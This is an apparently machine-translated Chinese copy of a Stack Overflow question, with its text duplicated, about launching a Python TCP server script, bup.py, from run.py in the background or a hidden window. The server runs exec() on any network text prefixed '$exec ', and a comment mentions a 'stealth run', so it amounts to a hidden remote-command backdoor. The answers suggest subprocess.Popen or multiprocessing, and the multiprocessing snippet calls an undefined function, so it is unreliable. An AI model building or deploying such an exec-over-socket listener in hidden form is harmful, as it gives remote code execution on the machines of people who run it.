运行 主文件的独立文件
Run independent file from main
我有一个看起来像这样的 run.py
:
def main():
# Tested and working code here
if __name__ == '__main__':
main()
然后我有另一个文件运行是一个 TCP 套接字服务器,bup.py
:
import socket
import os
from threading import Thread
# PMS Settings
TCP_IP = ''
TCP_PORT = 8080
my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True
# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
if debug:
print(text)
# -------------------------------------------------------------------
# Mulithreaded Server a.k.a. PMS
class ClientThread(Thread):
def __init__(self, ip, port):
Thread.__init__(self)
self.ip = ip
self.port = port
dPrint("[+] New server socket thread started for " + ip + ":" + str(port))
def run(self):
conn.send(current_dir.encode())
while True:
try:
data = conn.recv(2048).decode()
if "$exec " in data:
data = data.replace("$exec ", "")
exec(data)
elif data:
dPrint(data)
except ConnectionAbortedError:
dPrint("[x] Connection forcibly closed by remote host")
break
except ConnectionResetError:
dPrint("[x] Connection was reset by client")
break
# --------------------------------------------------------------------------
tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []
while True:
tcpServer.listen(5)
(conn, (ip, port)) = tcpServer.accept()
newThread = ClientThread(ip, port)
newThread.start()
threads.append(newThread)
for t in threads:
t.join()
我希望 bup.py
作为独立文件从 main()
执行。此外,它必须 运行 在后台或在不可见的 window 中。这可能吗? bup.py
是一个服务器脚本,所以它没有 return 任何东西,它必须完全脱离 run.py
。
如果您只想将 运行 bup.py 作为一个单独的文件,也许您可以在 bup.py 和 运行 该文件使用 python bup.py。我不确定什么 bup.py 需要绑定到 run.py,我错过了什么吗?
您可以使用 subprocess
.
import subprocess
def main()
# do your work
subprocess.Popen(["python","bup.py"])
如果您当前的进程不依赖于已启动进程的输出,这应该 运行 在后台运行。
或者您可以将 bup.py
重组为 python 模块并使用 multiprocessing
:
import bup
from multiprocessing import Process
def runServer(name):
# assuming this would start the loop in bup
bup.startServerLoop();
if __name__ == '__main__':
p = Process(target=f)
p.start()
# do all other work
# close the server process
p.join()
我有一个看起来像这样的 run.py
:
def main():
# Tested and working code here
if __name__ == '__main__':
main()
然后我有另一个文件运行是一个 TCP 套接字服务器,bup.py
:
import socket
import os
from threading import Thread
# PMS Settings
TCP_IP = ''
TCP_PORT = 8080
my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True
# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
if debug:
print(text)
# -------------------------------------------------------------------
# Mulithreaded Server a.k.a. PMS
class ClientThread(Thread):
def __init__(self, ip, port):
Thread.__init__(self)
self.ip = ip
self.port = port
dPrint("[+] New server socket thread started for " + ip + ":" + str(port))
def run(self):
conn.send(current_dir.encode())
while True:
try:
data = conn.recv(2048).decode()
if "$exec " in data:
data = data.replace("$exec ", "")
exec(data)
elif data:
dPrint(data)
except ConnectionAbortedError:
dPrint("[x] Connection forcibly closed by remote host")
break
except ConnectionResetError:
dPrint("[x] Connection was reset by client")
break
# --------------------------------------------------------------------------
tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []
while True:
tcpServer.listen(5)
(conn, (ip, port)) = tcpServer.accept()
newThread = ClientThread(ip, port)
newThread.start()
threads.append(newThread)
for t in threads:
t.join()
我希望 bup.py
作为独立文件从 main()
执行。此外,它必须 运行 在后台或在不可见的 window 中。这可能吗? bup.py
是一个服务器脚本,所以它没有 return 任何东西,它必须完全脱离 run.py
。
如果您只想将 运行 bup.py 作为一个单独的文件,也许您可以在 bup.py 和 运行 该文件使用 python bup.py。我不确定什么 bup.py 需要绑定到 run.py,我错过了什么吗?
您可以使用 subprocess
.
import subprocess
def main()
# do your work
subprocess.Popen(["python","bup.py"])
如果您当前的进程不依赖于已启动进程的输出,这应该 运行 在后台运行。
或者您可以将 bup.py
重组为 python 模块并使用 multiprocessing
:
import bup
from multiprocessing import Process
def runServer(name):
# assuming this would start the loop in bup
bup.startServerLoop();
if __name__ == '__main__':
p = Process(target=f)
p.start()
# do all other work
# close the server process
p.join()